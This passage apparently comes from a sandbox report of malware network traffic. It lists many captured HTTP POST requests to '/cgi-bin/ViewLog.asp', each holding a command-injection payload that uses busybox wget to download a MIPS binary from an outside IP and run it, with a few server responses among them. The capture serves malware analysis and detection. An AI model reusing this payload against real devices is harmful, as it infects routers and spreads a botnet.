20 20 20 20 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20
                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <link rel="icon" type="image/x-icon" href="./favicon.ico"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Error - Not Found</title> <style> html{ background-color:#232629; } .container { display: flex; flex-direction: column; margin: auto; align-items: center; } h1 { font-size: 150px; font-weight: 900; margin-bottom: 20px; color: #003275; user-select: none; /* Standard */ } h3 { font-size: 30px; font-family: Arial, Helvetica, sans-serif; margin-bottom: 10px; color: #56b34c; user-select: none; /* Standard */ } p { font-size: 18px; font-family: Arial, Helvetica, sans-serif; margin-bottom: 50px;


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                909192.168.2.154195031.200.40.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.718836069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                910192.168.2.156069094.122.26.2358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.859966040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                911192.168.2.155679694.120.53.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.861596107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                912192.168.2.154388094.120.39.948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.861645937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                913192.168.2.156019895.86.84.998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.873670101 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                914192.168.2.153603685.69.33.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.132288933 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.239825964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.383795023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                915192.168.2.155267094.123.247.1418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.170408010 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                916192.168.2.153879694.251.185.1748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.176781893 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.429193020 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:23:05 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                917192.168.2.153891231.136.13.1638080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.260073900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.495841980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.639661074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                918192.168.2.154922285.69.220.2538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.260097980 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.839901924 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                919192.168.2.154676862.94.238.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.275887966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.287880898 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.484299898 CET567INHTTP/1.1 503 Service Unavailable
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:23:08 GMT
                                                Connection: close
                                                Content-Length: 326
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                920192.168.2.154074885.206.160.438080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.502059937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                921192.168.2.154923231.200.36.1538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.524648905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                922192.168.2.154510031.136.87.1988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.627106905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.223898888 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.375850916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.775794983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
